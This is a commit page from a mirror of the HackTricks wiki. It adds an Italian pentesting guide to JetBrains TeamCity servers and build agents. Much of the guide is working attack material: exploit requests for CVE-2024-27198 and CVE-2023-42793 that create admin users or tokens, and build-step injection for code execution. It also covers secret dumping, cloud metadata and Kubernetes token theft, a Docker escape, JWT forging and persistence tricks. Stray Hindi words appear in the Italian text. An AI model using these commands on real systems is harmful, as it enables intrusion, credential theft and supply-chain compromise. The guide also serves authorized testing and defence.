mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-ci-cd/teamcity-security/README.md'] to it
This commit is contained in:
@@ -0,0 +1,650 @@
|
||||
# TeamCity Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
[TeamCity](https://www.jetbrains.com/teamcity/) è il server CI/CD di JetBrains. Può essere eseguito come **TeamCity Cloud** oppure come **TeamCity On-Premises**. In ambienti reali il prodotto on-premises è il target più interessante perché è comunemente collegato a repository privati, credenziali di deployment, internal networks e cloud build agents.
|
||||
|
||||
Un'installazione TeamCity è di solito composta da:
|
||||
|
||||
- **TeamCity server**: l'applicazione web Java e scheduler. Memorizza utenti, permessi, progetti, build configurations, VCS roots, token, metadata degli artifacts, build history e integrazioni. La porta HTTP predefinita è **8111**.
|
||||
- **Projects and subprojects**: contenitori per build configurations, templates, parameters, VCS roots, connections e permissions.
|
||||
- **Build configurations**: job che definiscono VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies e artifact dependencies.
|
||||
- **Pipelines / Kotlin DSL / XML settings**: la build configuration può essere gestita nella UI oppure memorizzata in VCS, comunemente in una directory `.teamcity/` usando Kotlin DSL.
|
||||
- **Build agents**: macchine worker che fanno polling del server, eseguono il checkout del codice, ricevono build settings e secrets, eseguono i build steps e pubblicano logs/artifacts sul server. Un agent normalmente esegue una build alla volta e può essere fisico, VM, container o avviato nel cloud.
|
||||
- **Agent pools**: un modo per limitare quali progetti possono essere eseguiti su quali agent. Questo è critico quando coesistono build pubbliche/non attendibili e build di deployment in produzione.
|
||||
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion e altre integrazioni con repository. Spesso contengono PATs, token aggiornabili, SSH keys o token supportati da OAuth.
|
||||
- **Build parameters**: valori disponibili per configurations e builds. I parametri `env.*` diventano environment variables, i parametri `system.*` diventano system properties e i password parameters sono mascherati ma restano usabili dal build code.
|
||||
|
||||
> [!WARNING]
|
||||
> TeamCity stesso documenta che gli utenti che possono modificare il codice eseguito dalle builds possono fare tutto ciò che può fare l'utente OS del build-agent, accedere alle risorse sull'agent, recuperare le settings delle configurations in cui vengono eseguite le loro builds e potenzialmente influire su altri projects che condividono lo stesso agent.
|
||||
|
||||
## Porte, Percorsi e File Interessanti
|
||||
```bash
|
||||
# Common TeamCity web ports
|
||||
8111/tcp # Default HTTP TeamCity server
|
||||
80/tcp # Often reverse-proxied TeamCity
|
||||
443/tcp # HTTPS reverse proxy or configured HTTPS
|
||||
```
|
||||
URL interessanti:
|
||||
```text
|
||||
/login.html
|
||||
/app/rest/server
|
||||
/app/rest/swagger.json
|
||||
/guestAuth/app/rest/server
|
||||
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
|
||||
/admin/admin.html
|
||||
/admin/diagnostic.jsp
|
||||
/admin/agents.html
|
||||
/admin/plugins.html
|
||||
```
|
||||
Percorsi locali interessanti dopo la compromissione del server:
|
||||
```text
|
||||
# Linux defaults seen in common installs
|
||||
/opt/TeamCity/logs/
|
||||
/opt/TeamCity/webapps/ROOT/plugins/
|
||||
/home/teamcity/.BuildServer/config/
|
||||
/home/teamcity/.BuildServer/plugins/
|
||||
/home/teamcity/.BuildServer/system/artifacts/
|
||||
/home/teamcity/.BuildServer/system/buildserver.data
|
||||
|
||||
# Windows defaults seen in common installs
|
||||
C:\TeamCity\logs\
|
||||
C:\TeamCity\webapps\ROOT\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\config\
|
||||
C:\ProgramData\JetBrains\TeamCity\plugins\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
|
||||
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
|
||||
```
|
||||
Percorsi locali interessanti dopo la compromissione dell'agent:
|
||||
```text
|
||||
<AGENT_HOME>/conf/buildAgent.properties
|
||||
<AGENT_HOME>/logs/
|
||||
<AGENT_HOME>/work/
|
||||
<AGENT_HOME>/temp/
|
||||
<AGENT_HOME>/system/
|
||||
~/.git-credentials
|
||||
~/.ssh/
|
||||
~/.docker/config.json
|
||||
~/.npmrc
|
||||
~/.m2/settings.xml
|
||||
~/.aws/
|
||||
~/.config/gcloud/
|
||||
```
|
||||
## Permessi di TeamCity Da Tenere In Considerazione
|
||||
|
||||
Il modello esatto dei permessi può essere personalizzato, ma i ruoli predefiniti importanti sono:
|
||||
|
||||
- **System Administrator**: controllo completo del server. Assumi che sia possibile una compromissione dell'OS del server, perché gli admin possono cambiare le impostazioni del server, caricare plugin e accedere alla diagnostica.
|
||||
- **Project Administrator**: controlla un project e di solito può creare/modificare build configurations, parameters, VCS roots, features, triggers e agent requirements all'interno di quel project.
|
||||
- **Project Developer**: di solito può visualizzare le impostazioni di configurazione, eseguire build e interagire con i risultati delle build. Questo può comunque essere sensibile perché le impostazioni di configurazione e i dati runtime spesso rivelano secrets.
|
||||
- **Project Viewer / Guest**: l'accesso in sola lettura può ancora esporre build logs, artifacts, nomi dei project, branch names, internal hostnames e dependency paths.
|
||||
|
||||
> [!TIP]
|
||||
> Durante un pentest, non fermarti a "low-privileged TeamCity user". Verifica se quell'utente può eseguire custom builds, selezionare branch, personalizzare parameters, visualizzare settings, visualizzare runtime parameters, scaricare artifacts o attivare deployment configurations.
|
||||
|
||||
## Initial Enumeration
|
||||
|
||||
### Fingerprint Exposed TeamCity
|
||||
```bash
|
||||
export TC="http://teamcity.example.com:8111"
|
||||
|
||||
curl -i "$TC/login.html"
|
||||
curl -i "$TC/app/rest/server"
|
||||
curl -i "$TC/guestAuth/app/rest/server"
|
||||
curl -s "$TC/app/rest/swagger.json" | head
|
||||
```
|
||||
Segnali utili:
|
||||
|
||||
- `TeamCity-Node-Id` HTTP header.
|
||||
- Branding della pagina di login.
|
||||
- `/app/rest/server` restituisce `401` quando è richiesta l'autenticazione.
|
||||
- `/guestAuth/app/rest/server` funziona se l'accesso guest è abilitato.
|
||||
|
||||
### REST API Enumeration With A Token
|
||||
|
||||
TeamCity REST API usa comunemente `Authorization: Bearer <token>`.
|
||||
```bash
|
||||
export TC="https://teamcity.example.com"
|
||||
export TCTOKEN="TC..."
|
||||
|
||||
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
|
||||
|
||||
tcurl "$TC/app/rest/server"
|
||||
tcurl "$TC/app/rest/users/current"
|
||||
tcurl "$TC/app/rest/users/current/roles"
|
||||
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
|
||||
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/agentPools"
|
||||
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
|
||||
```
|
||||
Per una build configuration:
|
||||
```bash
|
||||
export BT="id:Project_Build"
|
||||
|
||||
tcurl "$TC/app/rest/buildTypes/$BT"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/steps"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/features"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
|
||||
```
|
||||
### Abuse dell'accesso Guest
|
||||
|
||||
Se il login guest è abilitato, TeamCity supporta gli URL `/guestAuth/`. Per impostazione predefinita, gli utenti guest hanno il ruolo Project Viewer per tutti i progetti, a meno che non venga modificato.
|
||||
```bash
|
||||
curl -sk "$TC/guestAuth/app/rest/projects"
|
||||
curl -sk "$TC/guestAuth/app/rest/buildTypes"
|
||||
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
|
||||
```
|
||||
Cerca:
|
||||
|
||||
- Build logs con secret stampati accidentalmente.
|
||||
- Artifacts contenenti `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps o internal URLs.
|
||||
- Nomi di project/build che rivelano cloud account names, production systems, regions o internal service names.
|
||||
- Commit metadata che identifica privileged developers o service users.
|
||||
|
||||
Formato di download degli artifact di esempio:
|
||||
```bash
|
||||
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
|
||||
```
|
||||
## Attacks
|
||||
|
||||
### Takeover senza autenticazione: CVE-2024-27198 / CVE-2024-27199
|
||||
|
||||
Le versioni TeamCity On-Premises **fino a 2023.11.3** erano प्रभावित da due authentication bypass risolti in **2023.11.4**. CVE-2024-27198 è quello critico perché può esporre authenticated REST endpoints ad attacker non autenticati.
|
||||
|
||||
Fingerprint il bypass con un harmless authenticated endpoint:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
|
||||
```
|
||||
Se i metadata del server vengono restituiti senza autenticazione, l’istanza è vulnerabile. Un percorso comune di takeover è creare un utente admin oppure mintare un token per un utente admin esistente:
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
|
||||
-X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
|
||||
```
|
||||
Dopo questo, continua come amministratore TeamCity autenticato: enumera i progetti, raccogli i secret, esegui build sugli agent, ispeziona gli artifact e verifica l’accesso cloud dagli agent.
|
||||
|
||||
### Unauthenticated Takeover: CVE-2023-42793
|
||||
|
||||
Le versioni TeamCity On-Premises precedenti a **2023.05.4** erano प्रभावित da CVE-2023-42793. L’impatto pratico era un accesso a livello amministratore non autenticato e RCE tramite le API TeamCity. Il percorso ampiamente abusato coinvolgeva la creazione di token tramite una route che termina in `/RPC2`.
|
||||
```bash
|
||||
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
|
||||
```
|
||||
Se stai valutando l'impatto di un incident, controlla la creazione sospetta di token, la creazione di account admin, gli eventi di upload/delete dei plugin e l'esecuzione di processi attorno alla finestra di exposure.
|
||||
|
||||
### Admin RCE By Uploading A Plugin
|
||||
|
||||
I plugin del server TeamCity sono pacchetti ZIP che estendono la funzionalità del server. Un System Administrator può caricare un plugin dalla UI sotto **Administration -> Plugins**, caricarlo ed eseguire codice Java lato server.
|
||||
|
||||
Casi di abuso:
|
||||
|
||||
- Caricare un plugin malevolo per un RCE diretto sul **TeamCity server**, non solo su un agent.
|
||||
- Usare il caricamento/delete del plugin come path di esecuzione a breve durata.
|
||||
- Stabilire persistence tramite un plugin che sembra una integrazione interna.
|
||||
|
||||
Evidence to inspect:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
<TeamCity Data Directory>/plugins/
|
||||
<TeamCity Data Directory>/config/disabled-plugins.xml
|
||||
<TeamCity Data Directory>/system/caches/plugins.unpacked/
|
||||
<TeamCity Home>/webapps/ROOT/plugins/
|
||||
```
|
||||
### RCE Creando O Modificando Build Steps
|
||||
|
||||
Se puoi creare o modificare una build configuration, un TeamCity agent è il tuo target di command execution. Il runner **Command Line / Script** è l'opzione più diretta.
|
||||
|
||||
Aggiungi un command line step tramite REST:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"name": "diagnostics",
|
||||
"type": "simpleRunner",
|
||||
"properties": {
|
||||
"property": [
|
||||
{"name": "script.content", "value": "id; uname -a; env | sort"}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Avvia il build:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"}}'
|
||||
```
|
||||
Comandi iniziali utili su un agent:
|
||||
```bash
|
||||
id
|
||||
hostname
|
||||
pwd
|
||||
env | sort
|
||||
mount
|
||||
ip addr || ifconfig
|
||||
ip route || route print
|
||||
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
|
||||
```
|
||||
Agent Windows:
|
||||
```powershell
|
||||
whoami /all
|
||||
hostname
|
||||
Get-ChildItem Env: | Sort-Object Name
|
||||
ipconfig /all
|
||||
route print
|
||||
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
|
||||
```
|
||||
### Target Un agente più interessante
|
||||
|
||||
Le build configurations possono avere agent requirements, e le custom builds possono consentire di selezionare un agent specifico. Questo è importante quando un agent ha reachability verso la production network, accesso a Docker, mobile signing keys, cloud roles, o deployment tooling.
|
||||
|
||||
Enumerate compatible agents:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
|
||||
```
|
||||
Accoda una build su un agent specifico se le tue permissions lo consentono:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
|
||||
```
|
||||
Oppure aggiungi un requisito dell'agent per forzare una classe di agent di valore:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"type":"equals",
|
||||
"properties":{"property":[
|
||||
{"name":"property-name","value":"teamcity.agent.name"},
|
||||
{"name":"property-value","value":"prod-deploy-agent-01"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
### Dump dei Build Parameters e Password Parameters
|
||||
|
||||
I Parameters sono ereditati da projects e templates, quindi enumera sia lo scope dei project che quello delle build configuration:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/projects/id:Project/parameters"
|
||||
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
|
||||
```
|
||||
Nomi interessanti:
|
||||
```text
|
||||
env.AWS_ACCESS_KEY_ID
|
||||
env.AWS_SECRET_ACCESS_KEY
|
||||
env.GITHUB_TOKEN
|
||||
env.NPM_TOKEN
|
||||
env.DOCKER_AUTH_CONFIG
|
||||
system.deploy.password
|
||||
system.oauth.clientSecret
|
||||
vcsroot.<id>.password
|
||||
teamcity.configuration.properties.file
|
||||
```
|
||||
Caveat importanti:
|
||||
|
||||
- I parametri password sono masked in UI/logs, ma qualsiasi codice che li riceve legittimamente può exfiltrate o trasformarli.
|
||||
- Gli amministratori di progetto possono spesso recuperare i valori raw dei parametri tramite l'accesso alle settings.
|
||||
- Le note di sicurezza di TeamCity avvertono che gli utenti che possono modificare il build code possono recuperare i valori password usati da quel build.
|
||||
- Se le versioned settings sono archiviate in VCS, gli utenti con accesso al repo delle settings possono recover i valori da settings scrambled/encrypted a seconda della server encryption configuration e dell'esposizione della key.
|
||||
|
||||
Build-step exfil pattern:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import base64, os, json
|
||||
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
|
||||
print(base64.b64encode(json.dumps(interesting).encode()).decode())
|
||||
PY
|
||||
```
|
||||
### Poison Versioned Settings / Kotlin DSL
|
||||
|
||||
Se le versioned settings sono abilitate e puoi scrivere nel branch/repository che TeamCity considera affidabile per `.teamcity/`, puoi modificare la definizione stessa della pipeline.
|
||||
|
||||
Target tipici:
|
||||
|
||||
- Aggiungere un nuovo step `script` a una build configuration.
|
||||
- Cambiare `agentRequirements` per eseguire su un agent più privilegiato.
|
||||
- Aggiungere artifact rules per pubblicare file sensibili.
|
||||
- Aggiungere snapshot/artifact dependencies per prelevare dati da un'altra build.
|
||||
- Aggiungere VCS triggers per persistence.
|
||||
- Cambiare VCS roots o checkout rules.
|
||||
|
||||
Minimal Kotlin DSL malicious step:
|
||||
```kotlin
|
||||
import jetbrains.buildServer.configs.kotlin.*
|
||||
import jetbrains.buildServer.configs.kotlin.buildSteps.script
|
||||
|
||||
object Build : BuildType({
|
||||
name = "Build"
|
||||
steps {
|
||||
script {
|
||||
name = "diagnostics"
|
||||
scriptContent = "id; env | base64"
|
||||
}
|
||||
}
|
||||
})
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Questa è una delle misconfigurazioni TeamCity a maggiore impatto: memorizzare le build settings nello stesso repository del codice applicativo significa che chiunque possa modificare quel branch di source può anche modificare il CI/CD control plane.
|
||||
|
||||
### Pull Request / Untrusted Build Abuse
|
||||
|
||||
TeamCity può buildare pull request da GitHub, GitLab, Bitbucket, Azure DevOps e JetBrains Space. Se un repository pubblico è configurato per buildare pull request da **Everybody**, un attaccante esterno può ottenere code execution su un TeamCity agent aprendo una PR.
|
||||
|
||||
Controlla:
|
||||
|
||||
- Pull Requests build feature con filtri autore permissivi.
|
||||
- VCS triggers che corrispondono a branch di pull request come `refs/pull/*`.
|
||||
- Revisione **Untrusted Builds** mancante o disabilitata.
|
||||
- PR builds in esecuzione negli stessi pool dei trusted/prod builds.
|
||||
- Password parameters o deployment credentials disponibili per le PR builds.
|
||||
- Versioned settings caricate da branch di PR.
|
||||
|
||||
Abuse primitives da untrusted code:
|
||||
```bash
|
||||
env | sort
|
||||
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
|
||||
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
|
||||
```
|
||||
Esamina anche gli script di build che interpolano valori controllati dalla PR:
|
||||
```text
|
||||
%teamcity.pullRequest.title%
|
||||
%teamcity.pullRequest.source.branch%
|
||||
%teamcity.pullRequest.target.branch%
|
||||
%teamcity.build.branch%
|
||||
```
|
||||
Se quei valori vengono inseriti in shell, PowerShell, SQL, Docker tags, nomi di package o argomenti di deployment senza quoting/validation, testa command injection e manipolazione della logica.
|
||||
|
||||
### Run Custom Build Parameter Injection
|
||||
|
||||
Gli utenti che non possono modificare una build configuration potrebbero comunque essere in grado di eseguire custom builds con valori modificati di branch, agent o parametri.
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/buildQueue" \
|
||||
-X POST \
|
||||
-H "Authorization: Bearer $TCTOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Accept: application/json" \
|
||||
--data '{
|
||||
"buildType":{"id":"Project_Build"},
|
||||
"branchName":"refs/heads/attacker-controlled-branch",
|
||||
"properties":{"property":[
|
||||
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
|
||||
{"name":"system.release.version","value":"1.2.3$(id)"}
|
||||
]}
|
||||
}'
|
||||
```
|
||||
Cerca script come:
|
||||
```bash
|
||||
deploy --env %env.DEPLOY_ENV%
|
||||
docker build -t registry/app:%system.release.version% .
|
||||
git checkout %teamcity.build.branch%
|
||||
```
|
||||
### Abuse dei Service Message
|
||||
|
||||
TeamCity analizza output formattati in modo speciale dai build steps. Se codice controllato da un attacker viene eseguito in un build, può influenzare i passaggi successivi e la comprensione del build da parte del server.
|
||||
|
||||
Messaggi utili:
|
||||
```bash
|
||||
# Publish arbitrary files as artifacts
|
||||
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
|
||||
|
||||
# Modify parameters for following steps
|
||||
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
|
||||
|
||||
# Poison the build number displayed/published downstream
|
||||
echo "##teamcity[buildNumber '9999-backdoored']"
|
||||
|
||||
# Hide noisy output in collapsed blocks
|
||||
echo "##teamcity[blockOpened name='integration tests']"
|
||||
echo "##teamcity[blockClosed name='integration tests']"
|
||||
```
|
||||
Questo diventa più pericoloso quando i release job downstream si fidano dello stato della build, del numero di build, dei tag, dei nomi degli artifact o dei parametri di output di un job upstream.
|
||||
|
||||
### Artifact & Dependency Poisoning
|
||||
|
||||
Le build chain di TeamCity spesso spostano artifact tra build. Se puoi influenzare una build upstream che pubblica artifact consumati da una build downstream privilegiata, prova a poison:
|
||||
|
||||
- Pacchetti JAR/WAR/NuGet/npm/PyPI.
|
||||
- Docker build context.
|
||||
- File di Terraform plan.
|
||||
- Helm charts e Kubernetes manifests.
|
||||
- File SBOM/provenance.
|
||||
- Test fixtures o codice generato consumato da step successivi.
|
||||
|
||||
Pubblica un artifact controllato da una build:
|
||||
```bash
|
||||
mkdir -p out
|
||||
cp payload.jar out/app.jar
|
||||
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
|
||||
```
|
||||
Poi ispeziona le dipendenze degli artifact:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
|
||||
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
|
||||
```
|
||||
### Agent Cloud Pivoting
|
||||
|
||||
Se l'agent viene eseguito in AWS, Azure, GCP, Kubernetes o in una rete di VM interna, il build è un pivot point.
|
||||
|
||||
AWS IMDS:
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Fallback se IMDSv1 è consentito:
|
||||
```bash
|
||||
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
|
||||
```
|
||||
Azure IMDS:
|
||||
```bash
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
|
||||
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
|
||||
```
|
||||
GCP metadata:
|
||||
```bash
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
|
||||
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
|
||||
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
|
||||
```
|
||||
Kubernetes:
|
||||
```bash
|
||||
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
```
|
||||
Docker escape checks:
|
||||
```bash
|
||||
ls -la /var/run/docker.sock
|
||||
docker ps
|
||||
docker run --rm -it -v /:/host alpine chroot /host sh
|
||||
```
|
||||
### Pivot Into Internal Services
|
||||
|
||||
Gli agenti di build spesso hanno reachability verso package registries, artifact stores, deployment APIs, databases e internal admin panels.
|
||||
```bash
|
||||
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
|
||||
echo "### $h"
|
||||
curl -sk --connect-timeout 2 "https://$h/" | head
|
||||
done
|
||||
```
|
||||
Dopo aver rubato un segreto JWT/HMAC condiviso da parametri di TeamCity, cloud secret stores, artifacts o file del repo, forgia token per weak internal services:
|
||||
```python
|
||||
import jwt, time
|
||||
secret = "leaked-hs256-secret"
|
||||
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
|
||||
print(jwt.encode(payload, secret, algorithm="HS256"))
|
||||
```
|
||||
### Abuso di VCS Root & Repository Credential
|
||||
|
||||
I VCS roots e le connection sono spesso più preziosi di TeamCity stesso.
|
||||
|
||||
Cerca:
|
||||
|
||||
- VCS roots HTTP(S) che usano username/password o PAT.
|
||||
- SSH private keys caricate su TeamCity.
|
||||
- connection GitHub App / OAuth / refreshable token.
|
||||
- Commit Status Publisher tokens.
|
||||
- Pull Request feature tokens.
|
||||
- Build steps che scrivono su repository, tag, release, packages o workflow files.
|
||||
|
||||
Enumerazione REST:
|
||||
```bash
|
||||
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
|
||||
tcurl "$TC/app/rest/projects/id:Project/features"
|
||||
```
|
||||
Impatto post-compromise:
|
||||
|
||||
- Push malicious commits/tags ai repository.
|
||||
- Spostare release tags.
|
||||
- Pubblicare versioni di package malicious.
|
||||
- Leggere repository private a cui il tester non aveva accesso inizialmente.
|
||||
- Aggiungere configurazione CI/CD per un'altra piattaforma come GitHub Actions.
|
||||
- Aprire/merge PR usando l'identità del service se ha accesso in scrittura.
|
||||
|
||||
### Debug & Diagnostics Endpoints
|
||||
|
||||
Alcune funzionalità di debug pericolose sono protette da permessi admin e proprietà interne. Se abilitate, possono esporre il database di TeamCity o l'esecuzione dei processi.
|
||||
|
||||
Esempio di impostazione per query database:
|
||||
```properties
|
||||
rest.debug.database.allow.query.prefixes=select
|
||||
```
|
||||
Se questa opzione è abilitata, un token admin può interrogare dati interni:
|
||||
```bash
|
||||
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
|
||||
-H "Authorization: Bearer $TCTOKEN"
|
||||
```
|
||||
Also ispeziona se `/app/rest/debug/processes` è raggiungibile per il tuo ruolo. Considera qualsiasi debug endpoint abilitato come un potenziale percorso diretto di compromissione del server.
|
||||
|
||||
### Agent-Server Trust & Rogue Agent Angles
|
||||
|
||||
Gli agent poll il server e ricevono build settings, repository sources, access credentials/keys, build logs e artifact data. Se la comunicazione agent-to-server è in plain HTTP o un attacker controlla il network path, secrets e source code possono essere esposti.
|
||||
|
||||
Check:
|
||||
```bash
|
||||
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
|
||||
```
|
||||
Percorsi di abuso:
|
||||
|
||||
- Compromettere un agent e ispezionare le directory di lavoro per altri progetti se gli agent vengono riutilizzati.
|
||||
- Modificare il source checked-out o le dipendenze cached per i build successivi se clean checkout non è enforced.
|
||||
- Rubare il token/configuration di autorizzazione dell'agent.
|
||||
- Registrare un rogue agent se hai permissions per autorizzare project agents o se gli admin autorizzano automaticamente nuovi agent.
|
||||
- Impersonare un agent esistente da un host compromesso.
|
||||
|
||||
### Logs, Artifacts e Data Directory come Secrets
|
||||
|
||||
Le note di sicurezza di TeamCity avvertono esplicitamente che l'accesso in lettura alla TeamCity Data Directory, ai server logs o ai build artifacts può esporre secrets o portare a una escalation amministratore.
|
||||
|
||||
Un percorso specifico di escalation è **Super User Access**: TeamCity può consentire il login come system administrator con un token scritto in `teamcity-server.log`. Se i logs vengono inviati a una log platform poco protetta o sono leggibili da OS users non admin, cerca super-user tokens.
|
||||
|
||||
Hunt:
|
||||
```bash
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
|
||||
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
|
||||
```
|
||||
I log di build spesso contengono:
|
||||
|
||||
- Righe di comando espanse.
|
||||
- Comandi di deployment falliti con credenziali negli argomenti.
|
||||
- Output di Docker login.
|
||||
- Errori di pubblicazione npm/pip/maven.
|
||||
- Output di debug della Cloud CLI.
|
||||
- URL di servizi interni.
|
||||
|
||||
### Idee di persistence
|
||||
|
||||
Tecniche di persistence utili durante un assessment authorized red team:
|
||||
|
||||
- Creare un access token con un nome plausibile sotto un service/admin user.
|
||||
- Aggiungere un build trigger a basso rumore a una configurazione raramente controllata.
|
||||
- Aggiungere un parametro di progetto usato da un existing deployment step.
|
||||
- Aggiungere un hidden o disabled build step che può essere riabilitato in seguito.
|
||||
- Aggiungere un nuovo VCS root o connection sotto un progetto legittimo.
|
||||
- Aggiungere un plugin che assomiglia a un'internal integration.
|
||||
- Aggiungere un nuovo agent pool / cloud profile / agent requirement che instrada le build verso infrastruttura controllata dall'attaccante.
|
||||
- Modificare Kotlin DSL in un settings repository.
|
||||
|
||||
Cose che i defender dovrebbero controllare dopo un compromesso di TeamCity:
|
||||
```text
|
||||
teamcity-activities.log
|
||||
teamcity-server.log
|
||||
teamcity-javaLogging*.log
|
||||
User access tokens
|
||||
Recently created users/groups/roles
|
||||
Plugin upload/load/delete events
|
